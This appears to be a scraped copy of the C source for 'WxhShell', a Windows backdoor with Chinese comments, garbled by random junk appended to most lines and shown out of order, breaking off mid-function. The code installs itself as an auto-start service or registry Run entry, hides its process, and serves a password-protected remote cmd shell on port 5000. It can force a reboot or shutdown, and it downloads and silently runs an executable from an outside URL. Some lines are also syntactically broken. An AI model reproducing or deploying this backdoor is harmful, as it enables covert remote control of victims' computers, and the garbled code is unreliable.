    if(Boot(SHUTDOWN)) ]YOWCFAQot  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3J8M0W   
    else { 5BK3ix*L  
    closesocket(wsh); P6({wx  
    ExitThread(0); OLV3.~T  
    } d%K{JkD-  
    break; $LcMG,8%_  
    } c2L\m*^o  
  // 获取shell X&Sah}0V&  
  case 's': { /%)(Uz  
    CmdShell(wsh); e [6F }."c  
    closesocket(wsh); 4~8-^^  
    ExitThread(0); \7%wJIeyx  
    break; F{_,IQ]U  
  } fPstS ez   
  // 退出 {s8g;yU5  
  case 'x': { GkI{7GD:z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?mN!9/DIc  
    CloseIt(wsh); 7]~|dc(  
    break; M1T.  
    } aOQT-C[ O  
  // 离开  m3^D~4  
  case 'q': { wA6E7vi'  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); j`K0D65  
    closesocket(wsh); ):A.A,skf  
    WSACleanup(); [Dmf.PUe  
    exit(1); nc1?c1s,f  
    break; ^:,wk7  
        } l3/Cj^o4  
  } P% 8U  
  } O@w_"TJP/z  
E`{DX9^  
  // 提示信息 ] mK{E~Zll  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); px(~ZZB"  
} zU!d(ge.E  
  } M 9NT%7Il  
cr?ZXu_  
  return; 2izBB,# "  
} ^NM>x Ienf  
9e}%2,  
// shell模块句柄 Xq"Es  
int CmdShell(SOCKET sock) ;%cW[*Dw  
{ ZwiXeD+4  
STARTUPINFO si; J HV  
ZeroMemory(&si,sizeof(si)); 6Q{OM:L/;.  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; f9+6gY  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; N P5K1:  
PROCESS_INFORMATION ProcessInfo; x?od_M;*8;  
char cmdline[]="cmd"; ~:|V,1  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Xg\unUHa  
  return 0; K@:Ab'(P^|  
} $vn)(zn+  
&7\fj  
// 自身启动模式 YPO24_B  
int StartFromService(void) %*Vr}@BA)  
{ ps:E(\  
typedef struct H6Gs&yk3  
{ gA3f@7}d  
  DWORD ExitStatus; c>Ri6=C  
  DWORD PebBaseAddress; ;lt8~ea  
  DWORD AffinityMask; :"b:uQ  
  DWORD BasePriority; 2Uu!_n}tNF  
  ULONG UniqueProcessId; QjYw^[o  
  ULONG InheritedFromUniqueProcessId; VN$7r  
}   PROCESS_BASIC_INFORMATION; zZey  
4Y4zBD=<  
PROCNTQSIP NtQueryInformationProcess; s0 Z)BR #  
K}GR U)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ->7zVAX  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; WMWUP ZsGS  
nKI?Sc  
  HANDLE             hProcess; 8U7d d[  
  PROCESS_BASIC_INFORMATION pbi; uyWw3>  
9}tl @  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); q|r*4={^!*  
  if(NULL == hInst ) return 0; AS[j)x!  
A5]yC\*zt  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); I[w5V;>*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); d>Nh<PqH6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;:>q;%  
o02G:!gB  
  if (!NtQueryInformationProcess) return 0; %az6\"n  
r:4]:NKCi  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <(V~eo e  
  if(!hProcess) return 0; X|QokAR{$>  
y9=<q%Kc-  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <s$T7Zk  
<aI}+  
  CloseHandle(hProcess); #hMkajG  
w ykaf   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); wjgFe]  
if(hProcess==NULL) return 0; Dca,IaT'  
L =M'QJl9  
HMODULE hMod; f/4DFs{  
char procName[255]; ]9JH.fF  
unsigned long cbNeeded; b*{UO  
ZvO1=* J,  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "V`DhOG&  
|YfJ#Agm+  
  CloseHandle(hProcess); I:YgKs)[  
&2O~BIRE  
if(strstr(procName,"services")) return 1; // 以服务启动 IY mkZ?cW  
%=\*OIhl  
  return 0; // 注册表启动 Nw-U*y  
} !- 5z 1b)  
!;hp  
// 主模块 {y%@1q%"  
int StartWxhshell(LPSTR lpCmdLine) vg _PMy\  
{ a0Fq$  
  SOCKET wsl; 02T'B&&~  
BOOL val=TRUE; )e6sg]#  
  int port=0; x-4d VKE*z  
  struct sockaddr_in door; nNnfcA&W  
xe3Jxo !U  
  if(wscfg.ws_autoins) Install(); 1rLxF{,  
lLglF4  
port=atoi(lpCmdLine); {SRD\&J[  
)p:+!sX(  
if(port<=0) port=wscfg.ws_port; ?|!m  
\g)?7>M|  
  WSADATA data; R|wS*xd,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ,Z! I^  
p1mAoVxR  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   AI9922}*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ]v]:8>N  
  door.sin_family = AF_INET; z3>4 xn{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); iWW >]3Q  
  door.sin_port = htons(port); UQ@szE  
<p2\;\?4z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { E]r<t#  
closesocket(wsl); >xsY"N&1i'  
return 1; sr(nd35  
} %,aSD#l`f  
bMv[.Z@v(  
  if(listen(wsl,2) == INVALID_SOCKET) { T\:*+W37  
closesocket(wsl); \0&$ n  
return 1; \pSRG=`  
} ];N/KHeZ  
  Wxhshell(wsl); (<}?}{YX0  
  WSACleanup(); jJ,y+o  
CLJn+Y2  
return 0; s%6L94\t  
ocp  
} b5f+q:?{  
LCq1F(q  
// 以NT服务方式启动 <yvo<R^30  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) gi)C5J4  
{ _x,(576~  
DWORD   status = 0; $Q,]2/o6n  
  DWORD   specificError = 0xfffffff; 8E9k7  
N$.ls48a4-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4E1j0ARQQ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; wgq=9\+&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;4Xx5*E  
  serviceStatus.dwWin32ExitCode     = 0; ")nKFs5  
  serviceStatus.dwServiceSpecificExitCode = 0; \nL@P6X  
  serviceStatus.dwCheckPoint       = 0; 'GO *6$/  
  serviceStatus.dwWaitHint       = 0; ~~I]SI k{  
N.SV*G @  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); b !nA.`T  
  if (hServiceStatusHandle==0) return; 3x z z* <  
$v"CQD  
status = GetLastError(); */$]kE  
  if (status!=NO_ERROR) /sPa$D  
{ Y ._O m}H  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; O<dCvH  
    serviceStatus.dwCheckPoint       = 0; G%h+KTw  
    serviceStatus.dwWaitHint       = 0; s t#^pWL  
    serviceStatus.dwWin32ExitCode     = status; RK)ikLgp  
    serviceStatus.dwServiceSpecificExitCode = specificError; dwiLu&]u  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); =eh!eZ9  
    return; ?iHcY,  
  } :X7O4?ww  
0TiDQ4}i[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; n^l5M^.  
  serviceStatus.dwCheckPoint       = 0; {?X +Yw  
  serviceStatus.dwWaitHint       = 0; vSH-hAk  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); g|4>S<uC  
} %0 U@k!lP  
q>6,g>I  
// 处理NT服务事件,比如:启动、停止 zW.Ltz  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &[yYgfsp  
{ zhyf}Ta'  
switch(fdwControl) -; i:bE  
{ |]-~yYqP3  
case SERVICE_CONTROL_STOP: blaXAqe  
  serviceStatus.dwWin32ExitCode = 0; &rc r>-  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; m}6>F0Kv  
  serviceStatus.dwCheckPoint   = 0; :cP u  
  serviceStatus.dwWaitHint     = 0; '}F9f?  
  { \fYPz }wt  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); UyF;sw  
  } 2%`8  
  return; X6?Gxf,  
case SERVICE_CONTROL_PAUSE: \oP  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1Eryw~,,9i  
  break; f.R;<V.)  
case SERVICE_CONTROL_CONTINUE: q'X#F8v  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 'p%w_VbI  
  break; (F:|tiV+  
case SERVICE_CONTROL_INTERROGATE: DnF|wS  
  break; _~*ba+{  
}; u}?{1B!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ye| 2gH  
} )>;387'Y  
|I.5]r-EK  
// 标准应用程序主函数 Nvd(Tad  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) oiz]Bd  
{ s>TC~d82  
wMM1Q/-#  
// 获取操作系统版本 160BgFM  
OsIsNt=GetOsVer(); oL9ELtb ]s  
GetModuleFileName(NULL,ExeFile,MAX_PATH); =knBwjeD  
dcE(uf  
  // 从命令行安装 Yg1HvSw\  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;Z,l};b  
owO &[D/  
  // 下载执行文件 pT;xoe   
if(wscfg.ws_downexe) { gf8~Zlq4v  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) X: Be'  
  WinExec(wscfg.ws_filenam,SW_HIDE); 4%u\dTg/B  
} s-l3_210  
Jd33QL}Hj  
if(!OsIsNt) { n+Ng7  
// 如果时win9x,隐藏进程并且设置为注册表启动 yv> 6u7  
HideProc(); J^pq<   
StartWxhshell(lpCmdLine); X(C=O?A  
} 3tmS/ tQp  
else /T 4GPi\lg  
  if(StartFromService()) ORfMp'uP=  
  // 以服务方式启动 \6/!{D,  
  StartServiceCtrlDispatcher(DispatchTable); id/y_ekfP  
else \T;(k?28HN  
  // 普通方式启动 yJ8_<A  
  StartWxhshell(lpCmdLine); `O?j -zR  
S Fqq(K2u  
return 0; 1EliR uJ  
} 2j[; M-3  
z,SNJIsx  
d ?,wEfwp  
\YH*x`  
=========================================== !\q'{x5C  
_+&/P&  
ZVCa0Km  
t y%Hrw  
XeAH.i<  
LlbE]_Z!U%  
" FOuPj+}F  
/,ISx }  
#include <stdio.h> ^O3p:X4u  
#include <string.h> +?0r%R%\  
#include <windows.h> *47%| bf`  
#include <winsock2.h> Kr%O}<"  
#include <winsvc.h> |<LW(,|A  
#include <urlmon.h> WAb@d=H{+>  
fvoPV &:  
#pragma comment (lib, "Ws2_32.lib") !7Z?VEZ  
#pragma comment (lib, "urlmon.lib") W0# VDe]>  
s&6/fa  
#define MAX_USER   100 // 最大客户端连接数 L^jhr>-";  
#define BUF_SOCK   200 // sock buffer 9Ljd or  
#define KEY_BUFF   255 // 输入 buffer l'"Ici#7Ls  
;QQ/bM&I  
#define REBOOT     0   // 重启 U~<~>^[  
#define SHUTDOWN   1   // 关机 C*Dco{ EQ>  
>jm^MS=  
#define DEF_PORT   5000 // 监听端口 cb_nlG!  
F6 f  
#define REG_LEN     16   // 注册表键长度 ?qczMck_  
#define SVC_LEN     80   // NT服务名长度 `xFgYyiQd  
\l/<[ZZ  
// 从dll定义API PKt;]T0  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Y r 1k\q  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @)3orH  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Hr=?_Un"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); I<$m%  
Ny 7vId  
// wxhshell配置信息 7^Y`'~Y^  
struct WSCFG { lC=T{rR  
  int ws_port;         // 监听端口 42,K8  
  char ws_passstr[REG_LEN]; // 口令 u!I=|1s  
  int ws_autoins;       // 安装标记, 1=yes 0=no Trml?zexD  
  char ws_regname[REG_LEN]; // 注册表键名 nbSu|sX~r5  
  char ws_svcname[REG_LEN]; // 服务名 gqACIXR  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 QZ_8r#2x  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Xe<kdB3  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )|L#i2?:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Rj/y.g  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 78FK{Cr  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <l^#FH  
jg=}l1M"  
}; hbTJXP~~?  
87:V-*8  
// default Wxhshell configuration v^(J+d_>   
struct WSCFG wscfg={DEF_PORT, O}q(2[*i  
    "xuhuanlingzhe", C 4hvk'=  
    1, D P+W* 87J  
    "Wxhshell", p!2t/XIM  
    "Wxhshell", $3{I'r]  
            "WxhShell Service", ~X1<x4P\  
    "Wrsky Windows CmdShell Service", +cx(Q(HD\  
    "Please Input Your Password: ", U7d05y'  
  1, (Ei} :6,}  
  "http://www.wrsky.com/wxhshell.exe", S)G*+)  
  "Wxhshell.exe" hquN+eIDH  
    }; 7B#HF?,?  
;F\sMf{  
// 消息定义模块 H4g1@[{|0O  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (/3E,6gMk^  
char *msg_ws_prompt="\n\r? for help\n\r#>"; SSa0 x9T  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; GQ= Pkko  
char *msg_ws_ext="\n\rExit."; $O^U"  
char *msg_ws_end="\n\rQuit."; uZ(,7>0  
char *msg_ws_boot="\n\rReboot..."; -owap-Va  
char *msg_ws_poff="\n\rShutdown..."; y'U-y"7y  
char *msg_ws_down="\n\rSave to "; ;&]oV`Ib  
6eAJ >9@x  
char *msg_ws_err="\n\rErr!"; )VFS&|#\  
char *msg_ws_ok="\n\rOK!"; yo"!C?82=  
gl!F)RdH  
char ExeFile[MAX_PATH]; Gque@u  
int nUser = 0; T6Ks]6m_  
HANDLE handles[MAX_USER]; wxo{gBq  
int OsIsNt; BMovl4*5  
g2W ZW#a)  
SERVICE_STATUS       serviceStatus; 3B[u2o>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 2U`g[1  
)dZ1$MC[  
// 函数声明 wb/@g=` d  
int Install(void); R'x^Y"  
int Uninstall(void); wGAeOD  
int DownloadFile(char *sURL, SOCKET wsh); H(F9&6}  
int Boot(int flag); s. jcD  
void HideProc(void); <l"rnM%  
int GetOsVer(void); T{mIk p<  
int Wxhshell(SOCKET wsl); VfJdCg_  
void TalkWithClient(void *cs); ,U#FtOec  
int CmdShell(SOCKET sock); .V?>Jhok  
int StartFromService(void); lehuJgz'OO  
int StartWxhshell(LPSTR lpCmdLine); IltU6=]"l  
;0]s:0WD0P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); DyPb]Udb:  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); {^*D5  
Xo~kB)|,  
// 数据结构和表定义 fGMuml?[ e  
SERVICE_TABLE_ENTRY DispatchTable[] = X(fT[A_2C  
{ so@wUxF  
{wscfg.ws_svcname, NTServiceMain}, H"J>wIuGX  
{NULL, NULL} "IKbb7x  
}; 1n )&%r  
WiCJhVF3  
// 自我安装 -x2&IJ!  
int Install(void) t[Ywp!y[  
{ XI58Cy*!  
  char svExeFile[MAX_PATH]; 2RC@Fu~zaU  
  HKEY key; i@hW" [A  
  strcpy(svExeFile,ExeFile); ?D S|vCae  
p 28=l5y+  
// 如果是win9x系统,修改注册表设为自启动 oiNt'HQ2/  
if(!OsIsNt) { /[#5<;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T +~ _D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P_N i 5s)  
  RegCloseKey(key); [pYjH+<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }ec3qZ@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k9 NPC"  
  RegCloseKey(key); >*S ;z+!&  
  return 0; f4r)g2Zb[  
    } {BS`v5*  
  } 4'BZ+A,p  
} |&0zAP"\  
else { GP;UuQz  
/E<:=DD<  
// 如果是NT以上系统,安装为系统服务 g.d~`R@v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 1]]#HTwX  
if (schSCManager!=0) $V2.@ X  
{ BhC>G2 ^7  
  SC_HANDLE schService = CreateService BhCOT+i;c  
  ( w^wh|'u^_@  
  schSCManager, G "`t$=0  
  wscfg.ws_svcname, ^.~m4t`U  
  wscfg.ws_svcdisp, 4]mAV\1  
  SERVICE_ALL_ACCESS, 1@{qPmf^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >}'WL($5U  
  SERVICE_AUTO_START, u:GDM   
  SERVICE_ERROR_NORMAL, `g!NFp9q  
  svExeFile, 2<33BBlWA  
  NULL, Yi+$g  
  NULL, GBo'=  
  NULL, e<1)KqG  
  NULL, %m?$"<q_K  
  NULL 1_0\_|  
  ); S^*ME*DDz  
  if (schService!=0) Fv T;8ik:3  
  { ERZWK  
  CloseServiceHandle(schService); n>aH7  
  CloseServiceHandle(schSCManager); wC~LZSTt  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); x>m=n_  
  strcat(svExeFile,wscfg.ws_svcname); fs;pX/:FR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { B96"|v$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *e}1KcJ  
  RegCloseKey(key); n06Jg+  
  return 0; 6qH^&O][  
    } 6BIr{SY  
  } <`WtP+`  
  CloseServiceHandle(schSCManager); M&~cU{9c  
} U Rb  
} F=l.2t*9  
:elTqw>pn  
return 1; H!vX#  
} &L`yX/N2  
'e5,%"5(c  
// 自我卸载 <9yB& ^  
int Uninstall(void) UV j1nom   
{ }j6<S-s~  
  HKEY key; $1b x\  
gPz p/I  
if(!OsIsNt) { L$4nbOu\~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G;Thz  
  RegDeleteValue(key,wscfg.ws_regname); cu#s}* Ip  
  RegCloseKey(key); > J>|+W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Aa`'g0wmc  
  RegDeleteValue(key,wscfg.ws_regname); 4 N{5i )  
  RegCloseKey(key); XbMAcgS  
  return 0; QLum=YB  
  } nk^-+olm  
} o dTg.m  
} ^#)M,.G^  
else { -e(,>9Q  
|{JJ2c\W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &7m)K>E27  
if (schSCManager!=0) 7<p? E7  
{ Y%A KN  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9a;8^?Ld%S  
  if (schService!=0)  Im8c  
  { j+7ok 5J#  
  if(DeleteService(schService)!=0) { >W7IWhm3  
  CloseServiceHandle(schService); ?~#{3b  
  CloseServiceHandle(schSCManager); xzjG|"a[GB  
  return 0; P|{Et=R`1  
  } Q]NGd 0J  
  CloseServiceHandle(schService); >h<bYk"9Q  
  } 2*1FW v  
  CloseServiceHandle(schSCManager); %zA$+eT  
} kx_PMpc  
} Yiy|^j  
dgsD~.((A  
return 1; ~A =?_5kJ  
} GtNGrJU  
sM8AORd  
// 从指定url下载文件 KIfR4,=Q|  
int DownloadFile(char *sURL, SOCKET wsh)  e+=IGYC  
{ p-1 \4  
  HRESULT hr; OP}8u"\Z  
char seps[]= "/";  T24?1  
char *token; ? (f44Zgm  
char *file; maopr$r  
char myURL[MAX_PATH]; dx It.h   
char myFILE[MAX_PATH]; 1=X"|`<!  
aA/.EAc7  
strcpy(myURL,sURL); ]\_T  
  token=strtok(myURL,seps); 999E0A$dkv  
  while(token!=NULL) /n|`a1!  
  { ;4rTm@6  
    file=token; '5n67Hl 1  
  token=strtok(NULL,seps); rJ UXA<:2  
  } dfoFs&CSKh  
"p{cz(  
GetCurrentDirectory(MAX_PATH,myFILE); z}[qk:  
strcat(myFILE, "\\"); YN@ 4.&RP  
strcat(myFILE, file); g~AO KHUP  
  send(wsh,myFILE,strlen(myFILE),0); 0 w#[?.  
send(wsh,"...",3,0); w 9mi2=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3h|:ew[  
  if(hr==S_OK) 0u'qu2mV  
return 0; \%!~pfM I  
else Cp@' k;(  
return 1; rHWlv\+N n  
%4Thb\T  
} Lz9t9AoB  
& M wvj  
// 系统电源模块 oT\u^WU  
int Boot(int flag) 9(/ ;Wutj"  
{ e:~r_,K  
  HANDLE hToken; 8,,$C7"EP  
  TOKEN_PRIVILEGES tkp; 1*"t-+|  
R]7-6  
  if(OsIsNt) { :OVre*j  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (IXe5 55  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); WD^!G;}  
    tkp.PrivilegeCount = 1; Q6G-`&5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; WYb\vm =r  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); AIvIQ$6}  
if(flag==REBOOT) { cv b:FK  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) hK,e<?N^  
  return 0; w< hw>e^.  
} \p-3P)U  
else { bnz2\C9^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $`Z-,AJc  
  return 0; 5UQz6DK  
} >h0iq  
  } p. eq N  
  else { \tj7Jy  
if(flag==REBOOT) { A?V[/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0Jh^((i*  
  return 0; k|$08EK $  
} (hB&OP5Fne  
else { TU-4+o%;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }hralef #N  
  return 0; QQso<.d&  
} Awo H d7M  
} @?$x  
|&+0Tg~ZE  
return 1; 9y(75Bn9  
} 9 wun$!>&  
$r`^8/Mq3  
// win9x进程隐藏模块 BULf@8~(  
void HideProc(void) L7*,v5  
{ v`"z  
8,Jjv*  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /Q4TQ\:  
  if ( hKernel != NULL ) X|}yp|  
  { d%:B,bck  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }Km+5'G'U  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); o5 UM)g  
    FreeLibrary(hKernel); Ak`7f$z  
  } zI5 #'<n  
y9cDPwi:b  
return; "K3"s Ec%  
} *;Q IAd  
L*xu<(>K  
// 获取操作系统版本 Y40`~  
int GetOsVer(void) (!72Eaw:]  
{ zW^_w&fd^j  
  OSVERSIONINFO winfo; "|?zQ?E  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); vUEG0{8l  
  GetVersionEx(&winfo); -}u=tiNG  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :+%"kgJNL  
  return 1; H ?Vo#/  
  else :DI``]Si\  
  return 0; SV2DvrIR  
} `nAR/Ye  
8$k`bZ  
// 客户端句柄模块 dW K; h  
int Wxhshell(SOCKET wsl) 'R&Y pR  
{ >WfkWUb  
  SOCKET wsh; @>Y.s6a  
  struct sockaddr_in client; \J*~AT~5q  
  DWORD myID; +Bg$]~ T  
KxyD{W1  
  while(nUser<MAX_USER) ~HWH2g  
{ F't4Q  
  int nSize=sizeof(client); nQe^Bn  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @>>8CU^~  
  if(wsh==INVALID_SOCKET) return 1; bXSsN\:Y@[  
|mx)W}  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); H =Y7#{}  
if(handles[nUser]==0) x$:>W3?T=^  
  closesocket(wsh); _[D6 WY+  
else uw!w}1Y]}2  
  nUser++; =<,>dBs}\  
  } RO>3U2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }e/#dMEi  
Un [olp  
  return 0; ]>j>bHG  
} criQa<N"  
9|kc$+(+6  
// 关闭 socket o!nw/7|  
void CloseIt(SOCKET wsh) RKIBFP8.  
{ ZGILV  
closesocket(wsh); 9%+Nzo(Fd  
nUser--; ]]sy+$@~  
ExitThread(0); r#8t @W  
} +JyD W%a:L  
U*P&O+(1'  
// 客户端请求句柄 47S1mxur  
void TalkWithClient(void *cs) 7D5[ L  
{ xIOYwVC  
p"%K(NL  
  SOCKET wsh=(SOCKET)cs; Q9Tt3h2ga  
  char pwd[SVC_LEN]; $#z ` R;  
  char cmd[KEY_BUFF]; kGz0`8U Ru  
char chr[1]; ,, 8hU7P  
int i,j; eo#2n8I>=1  
35q4](o9"  
  while (nUser < MAX_USER) { U?@ s`.  
$-J0ou8~  
if(wscfg.ws_passstr) { %-lilo   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B=?m_4\$m  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hg2a,EU\Z  
  //ZeroMemory(pwd,KEY_BUFF); /$EX -!ie  
      i=0; `_MRf[Z}  
  while(i<SVC_LEN) { Rcn6puZt  
4Nb&(p  
  // 设置超时 0A,u!"4[  
  fd_set FdRead; 8;%F-?  
  struct timeval TimeOut; QPD[uJ(I  
  FD_ZERO(&FdRead); sKg IKYG}T  
  FD_SET(wsh,&FdRead); [Sj _=  
  TimeOut.tv_sec=8; ;7:_:o[.  
  TimeOut.tv_usec=0; 0uZL*4A+C  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); E Pd9'9S  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); eNHSfq  
k<Y}BvAYB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h^B~Fv>~  
  pwd=chr[0]; :@~Nszlb  
  if(chr[0]==0xd || chr[0]==0xa) { iQT$#"m n  
  pwd=0; jqzG=/0~{  
  break; |8{c|Qz  
  } ,(;TV_@$  
  i++; ,J@A5/B,AA  
    } 6L/`  
h,*-V 'X.k  
  // 如果是非法用户,关闭 socket @cS(Bb!(M  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -:V0pb  
} vY"i^a`f  
*3!#W|#=]N  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2Wx~+@1y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x/d(" Bb  
-d*zgP  
while(1) { #5 %\~ f  
Pb] EpyAW  
  ZeroMemory(cmd,KEY_BUFF); 2(i@\dZCb<  
pba`FC4R  
      // 自动支持客户端 telnet标准   eZ G#op  
  j=0; >zS<1  
  while(j<KEY_BUFF) { #xoFcjRE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k .#I ;7  
  cmd[j]=chr[0]; my}l?S[2d@  
  if(chr[0]==0xa || chr[0]==0xd) { gucgNpX  
  cmd[j]=0; r.ib"W#4  
  break; /cX%XZg  
  } xt zjFfq  
  j++; >(\Z-I&YQ  
    } L!LhH  
(7 O?NS  
  // 下载文件 GlOSCJZ  
  if(strstr(cmd,"http://")) { "nA~/t=  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~7$jW[i  
  if(DownloadFile(cmd,wsh)) 2EC<8}CG  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ([ODmZHv  
  else ..fbRt  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d",VOhW7)S  
  } nc9sfH3  
  else { Fql|0Fq  
1wLEkp!~  
    switch(cmd[0]) { >*h3u7t  
  m:)s UC0  
  // 帮助 .H}#,pQ}l  
